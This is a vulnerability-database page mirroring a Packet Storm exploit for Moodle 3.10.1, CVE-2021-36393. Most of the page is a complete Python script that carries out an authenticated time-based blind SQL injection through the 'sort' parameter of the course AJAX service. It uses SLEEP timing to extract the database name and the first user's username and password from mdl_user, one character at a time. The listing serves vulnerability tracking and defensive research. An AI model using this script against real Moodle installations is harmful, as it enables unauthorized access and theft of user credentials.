Lucene search
K

Moodle 3.10.1 SQL Injection

🗓️ 15 Apr 2024 00:00:00Reported by Julio Ángel FerrariType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 340 Views

Moodle 3.10.1 SQL Injection, CVE-2021-36393, Time-Based Blind SQL Injectio

Related
Code
`# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter  
# Google Dork:   
# Date: 04/11/2023  
# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)  
# Vendor Homepage: https://moodle.org/  
# Software Link:   
# Version: 3.10.1  
# Tested on: Linux  
# CVE : CVE-2021-36393  
  
import requests  
import string  
from termcolor import colored  
  
# Request details  
URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"  
HEADERS = {  
"Accept": "application/json, text/javascript, */*; q=0.01",  
"Content-Type": "application/json",  
"X-Requested-With": "XMLHttpRequest",  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",  
"Origin": "http://127.0.0.1:8080",  
"Referer": "http://127.0.0.1:8080/moodle/my/",  
"Accept-Encoding": "gzip, deflate",  
"Accept-Language": "en-US,en;q=0.9",  
"Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",  
"Connection": "close"  
}  
  
# Characters to test  
characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"  
  
def test_character(payload):  
response = requests.post(URL, headers=HEADERS, json=[payload])  
return response.elapsed.total_seconds() >= 3  
  
def extract_value(column, label):  
base_payload = {  
"index": 0,  
"methodname": "core_course_get_enrolled_courses_by_timeline_classification",  
"args": {  
"offset": 0,  
"limit": 0,  
"classification": "all",  
"sort": "",  
"customfieldname": "",  
"customfieldvalue": ""  
}  
}  
  
result = ""  
for _ in range(50): # Assumes a maximum of 50 characters for the value  
character_found = False  
for character in characters_to_test:  
if column == "database()":  
base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"  
else:  
base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"  
  
if test_character(base_payload):  
result += character  
print(colored(f"{label}: {result}", 'red'), end="\r")  
character_found = True  
break  
  
if not character_found:  
break  
  
# Print the final result  
print(colored(f"{label}: {result}", 'red'))  
  
if __name__ == "__main__":  
extract_value("database()", "Database")  
extract_value("username", "Username")  
extract_value("password", "Password")  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.23988
SSVC
340